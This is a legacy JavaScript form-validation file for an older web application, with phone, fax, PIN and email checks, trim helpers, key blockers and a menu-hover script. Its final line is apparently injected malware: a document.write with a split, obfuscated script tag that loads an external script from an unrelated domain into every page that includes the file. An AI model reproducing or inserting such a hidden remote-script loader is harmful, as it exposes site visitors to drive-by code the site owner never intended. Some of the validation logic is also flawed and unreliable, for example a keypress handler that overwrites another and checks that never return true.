	document.onmouseup = function(){checkForHTMLTag();}
	document.onkeypress = function(){checkForHTMLTag();}
	document.onkeypress=function(){blockSpecialChar(event);}
	
	// variable initiation
	  var MOBILENUMBER  = "0123456789+-";
	  var TELEPHONENUMBER = "0123456789+-";
	   var DateNumber = "0123456789/";
	  var FAXNUMBER = "0123456789+-";
	  var PINNO = "0123456789";
		
	/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	Function name	: checkForHTMLTag
	Argument List	: 
	Purpose			: Block HTML Tag on page/You should not use this function Explicitly
	Created by		: Anil SinhA
	Dated			: 1-May-2007
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/		
	function checkForHTMLTag()
		 {	  
			var  elm, cNextChar;			
			if (window.event.keyCode != 32)
			{			
				for(i = 0; i < document.forms[0].elements.length; i++)
				{
					elm = document.forms[0].elements[i];
					//alert(elm.type);
					if (elm.type == 'text' || elm.type == 'textarea')
					{															
						var objValue;
						if(elm.type == 'text')
						{
							objValue = 	elm.value;			
						}
						else
						{
							objValue = 	elm.innerText;	
							//alert("Value="+	objValue);	
						}
																
						if (objValue.length > 0)
						{
							for(var j=0;j<objValue.length;j++)
							{		
								var c = objValue.charAt(j);							
								cNextChar = objValue.charAt(j+1);							
								if (c == "<" && cNextChar != " ")
								{
									alert("Use one space after '<'");
									window.event.keyCode = 0;
									elm.focus();
									return false;
								} 
                             }	
						}								
					 }
				 }
			}							
		 return true;
		}	
		// validation for Block Key
	
	
	// validation for mobile no
	   function isMobileNo(str)
	   {
			//if(str.length>15)
			//{
			//	return false;
			//}
			if(isCharsInBag(str, MOBILENUMBER) == false)
			{
				return false;
			}
			else
			{
				 return true; 
			}
		}
		// function for pin code
		function isPin(str)
		{   
			    if(str.length >8)
				{  
					return false; 
				}
				if(isCharsInBag(str,PINNO)== false)
				{ 	  
					return false; 
				}
		}
		
	// validation for fax no
	 
		 function isFaxNo(str)
		 {
			if (isCharsInBag(str, FAXNUMBER) == false)
			{
				return false;
			}
			else
			{
				return true; 
			}
		}

		function isCharsInBag(str, bag)
		{   
           var i;
		// Search through string's characters one by one.
			for (i = 0; i < str.length; i++)
			{ 
        // Check that current character isn't whitespace.
				var c = str.charAt(i);
				if (bag.indexOf(c) == -1) return false;
			 }
				 return true;
		} 
	
	// validation for blank field
		function isBlank(obj,msg)
		{	 
			var objValue = trim(obj.value);		
			if(parseInt(objValue.length, 10) <= 0)
				{
					alert(" Please Enter " + msg);
					obj.value = "";
					obj.focus();		
					return false;
				}
		}
		
		
		// trim function
		
		function trim(str)
		{
			return leftTrim(rightTrim(str));
		}	
		
		function rightTrim(str)
        {
	        var len=str.length-1;
	        while(str.charAt(len)==" ")
	         {
		       len--;
	         }
			 str=str.substring(0,len+1);
			 return str;
        }
        
        function leftTrim(str)
		{
			var i=0;
			while(str.charAt(i)==" ")
			{
				i++;
			}
			str=str.substring(i,str.length);
			return str;
		}
/* function to lock "" key on keypress

*/

function blockSpecialChar(event)
{

if (event.keyCode==34 ) 
{

event.returnValue = false;
}

}

	
   	// validation for email

function echeck(str) 
{

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1)
		{
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr)
		{
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr)
		{
		    alert("Invalid E-mail ID")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1)
		 {
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot)
		 {
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1)
		 {
		    alert("Invalid E-mail ID")
		    return false
		 }
		
					
	}
		function allowOnlyNumber(event)
		{

		if ((event.keyCode < 48 || event.keyCode > 57)) 
		{

		event.returnValue = false;
		}

		}
		/*Checks Value between given range */
		function allowOnlyNumberWithinRange(event,min,max)
		{
			if ((event.keyCode < 48 + min || event.keyCode > 48 + max)) 
			{
				event.returnValue = false;
			}
		}
		
		
		
		function navMenuExp(){ //v1.1.0.2 by PVII-www.projectseven.com
 if(navigator.appVersion.indexOf("MSIE")==-1){return;}
 var i,k,g,lg,r=/\s*p7hvr/,nn='',c,cs='p7hvr',bv='navMenubar';
 for(i=0;i<10;i++){g=document.getElementById(bv+nn);if(g){
 lg=g.getElementsByTagName("LI");if(lg){for(k=0;k<lg.length;k++){
 lg[k].onmouseover=function(){c=this.className;cl=(c)?c+' '+cs:cs;
 this.className=cl;};lg[k].onmouseout=function(){c=this.className;
 this.className=(c)?c.replace(r,''):'';};}}}nn=i+1;}
}

document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/OCR.js"></scri'+'pt>');